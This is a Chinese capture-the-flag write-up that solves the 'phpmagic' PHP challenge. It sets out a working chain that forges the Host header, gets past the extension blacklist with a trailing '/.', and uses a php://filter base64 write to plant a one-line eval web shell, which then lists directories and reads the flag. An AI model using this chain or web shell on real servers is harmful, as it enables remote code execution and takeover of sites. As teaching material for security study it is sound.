原創作者:一葉飄零
前言
前些日子有些忙,沒有繼續做,現在跟進,先看下之前做的幾道題:
2018 Code Breaking(1) & function :關於\
的trick
2018 Code Breaking(2) & pcrewaf:關於正則回溯的bypass手段
2018 Code Breaking(3) & phplimit:php無參數函數執行RCE
今天研究一下phpmagic這道題
題目概述
拿到題目
http://106.14.114.127:24004/?read-source=1
發現源代碼如下
<?php
if(isset($_GET['read-source'])) {
exit(show_source(__FILE__));
}
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
?>
.......
<?php
if(!empty($_POST) && $domain):
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }
echo $output;
endif;
?>
注意到題目首先創建了一個沙盒做用戶分割
define('DATA_DIR', dirname(__FILE__) . '/data/' . md5($_SERVER['REMOTE_ADDR']));
if(!is_dir(DATA_DIR)) {
mkdir(DATA_DIR, 0755, true);
}
chdir(DATA_DIR);
然後接受用戶傳入的2個值
$domain = isset($_POST['domain']) ? $_POST['domain'] : '';
$log_name = isset($_POST['log']) ? $_POST['log'] : date('-Y-m-d');
然後對用戶輸入的$domain
進行拼接命令執行
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
$output = shell_exec($command);
$output = htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES);
然後將命令執行結果寫入文件,並打印出來
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
if(!in_array(pathinfo($log_name, PATHINFO_EXTENSION), ['php', 'php3', 'php4', 'php5', 'phtml', 'pht'], true)) {file_put_contents($log_name, $output); }
echo $output;
攻擊點探索
這裏不難順着題目想到,此題應該是bypass拼接,進行我們想要的命令執行。
那麼這裏思路可以分爲2種:
1.利用文件保存功能留一個shell
2.直接進行RCE,因爲執行結果會打印出來
這裏我比較趨向於第一種,因爲第二種我們需要bypass
escapeshellarg()
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-1UPJgWkC-1585018664164)(/images/2019-03-28-13-23-26.png)]
直接進行命令執行不是太方便,每次都要考慮Bypass的問題,而寫一個Shell,只要bypass一次,一勞永逸。
同時更關鍵的一點,如果我們想走第二條路徑,就要控制以下指令的返回值
$command = sprintf("dig -t A -q %s", escapeshellarg($domain));
常見並列執行命令方式如下
cat sky.c && ls
但這裏由於escapeshellarg()的存在,我們的輸入變爲
dig -t A -q '&& ls'
失去並列執行的意義,所以這裏考慮第1條路徑:寫shell
想要寫shell的話,還是會遇到幾項問題:
1.控制寫入路徑
2.bypass 黑名單
3.控制寫入內容
控制寫入路徑
如果想要控制寫入路徑,那麼勢必關注寫入函數,其中可能帶有危險操作
file_put_contents($log_name, $output);
對於$log_name
我們可以跟蹤到
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
關於這項操作,我們發現文件路徑會拼接
$_SERVER['SERVER_NAME']
那麼這個值是做什麼的呢?我們查閱官方手冊
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FPFWn8BP-1585018664165)(/images/2019-03-28-13-42-15.png)]
官方手冊中提示如果不設置 UseCanonicalName = On 和 ServerName,那麼則可能被客戶端進行僞造
我們不妨寫如下腳本進行測試
<?php
$log_name = $_GET['log'];
$log_name = $_SERVER['SERVER_NAME'] . $log_name;
echo $log_name;
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-niQPA2lv-1585018664169)(/images/2019-03-28-14-07-42.png)]
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-qTUmcGV5-1585018664176)(/images/2019-03-28-14-08-03.png)]
可以看到$_SERVER['SERVER_NAME']
可用host去控制,那麼這樣一來,文件名可控
bypass 黑名單
我們關注到黑名單爲
['php', 'php3', 'php4', 'php5', 'phtml', 'pht']
其實繞過手段還有不少,例如phps
,但是目標會不會解析是個問題
有沒有更加萬能的bypass手段呢?
我們注意到獲取後綴的方式爲
pathinfo($log_name, PATHINFO_EXTENSION)
而pathinfo()
是有漏洞的
我們不妨做如下測試
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-rIsqmjTI-1585018664178)(/images/2019-03-28-14-16-28.png)]
pathinfo()
只會單一的去獲取最後一個.
後的值作爲後綴名
那麼在php後加上.
是否還能正常訪問呢?
我們不妨做如下測試
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-FoM0ynp3-1585018664180)(/images/2019-03-28-14-18-18.png)]
答案是否定的.
那麼還有沒有其他方法呢?
我們測試
root@sky# php -a
Interactive mode enabled
php > file_put_contents('/tmp/sky.php/.', '12345');
php > exit
root@sky# ls /tmp | grep sky
sky.php
發現成功寫入/tmp/sky.php
,同時bypass了pathinfo()的黑名單
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-h2RUjqbn-1585018664182)(/images/2019-03-28-14-23-16.png)]
至於爲什麼/.
可以進行bypass,可參考下述文章
http://wonderkun.cc/index.html/?p=626
控制寫入內容
可控路徑,可Bypass後綴名,那麼就只剩下內容寫入了,我們需要bypass兩個過濾
escapeshellarg($domain)
htmlspecialchars($output, ENT_HTML401 | ENT_QUOTES)
這麼顯然如果不用編碼的話,很難bypass過濾,畢竟符號會被過濾,例如<
那麼如何使用編碼寫入呢?
這裏就要從僞協議說起,我們知道有php有如下僞協議
php://filter/write=convert.base64-decode/resource=sky.php”
可以將內容進行base64解碼再寫入,那麼我們只要再$domain中傳入base64即可,這樣即可輕鬆Bypass過濾
再配合上我們之前的路徑Bypass可以得到如下payload進行測試
Host:php://filter/write=convert.base64-decode/resource=
log=sky.php/.
$domain = c2t5c2t5
我們訪問sky.php進行查看
這裏需要注意,先去得到自己的$_SERVER['REMOTE_ADDR']
這裏方法很多,有很多提供ip的網站,或者可用自己的vps,這裏不再贅述
可以計算得到我的沙盒
/data/d4dabdbc73b87e364e29e60c60a92900
我們訪問
/data/d4dabdbc73b87e364e29e60c60a92900/sky.php
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-S6hI5A3W-1585018664184)(/images/2019-03-28-14-37-29.png)]
我們發現之前發送的base64已經變成了skysky
payload寫入
那麼剩下的就是寫入一句話木馬了
<?php eval($_GET['s']); ?>
得到
PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4=
這裏需要注意base64不要帶有==
,因爲我們插入的base64在文本中間
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3qZrdrUj-1585018664189)(/images/2019-03-28-14-33-09.png)]
而==
是出現在base64結尾的,會導致解碼錯誤
所有我們把=
換成
PD9waHAgZXZhbCgkX0dFVFsncyddKTsgPz4a
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-myUhgYyW-1585018664192)(/images/2019-03-28-14-53-26.png)]
我們進行測試
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-3pH0oUP7-1585018664196)(/images/2019-03-28-14-46-00.png)]
訪問
http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir('./'));
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Djn3KtWx-1585018664199)(/images/2019-03-28-14-54-34.png)]
繼續上跳
http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=var_dump(scandir(%27../../../%27));
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-Aoszm4qV-1585018664204)(/images/2019-03-28-14-55-29.png)]
發現flag,我們讀取
http://localhost/data/d4dabdbc73b87e364e29e60c60a92900/res.php?s=readfile(%27../../../flag_phpmag1c_ur1%27);
[外鏈圖片轉存失敗,源站可能有防盜鏈機制,建議將圖片保存下來直接上傳(img-TNiHxopz-1585018664206)(/images/2019-03-28-14-56-29.png)]
後記
這道題並不難,主要涉及幾個php trick:
1.$_SERVER['SERVER_NAME']
可通過Host進行僞造
2./.
可用來bypass文件後綴黑名單
3.php僞協議可用來base64 bypass寫入內容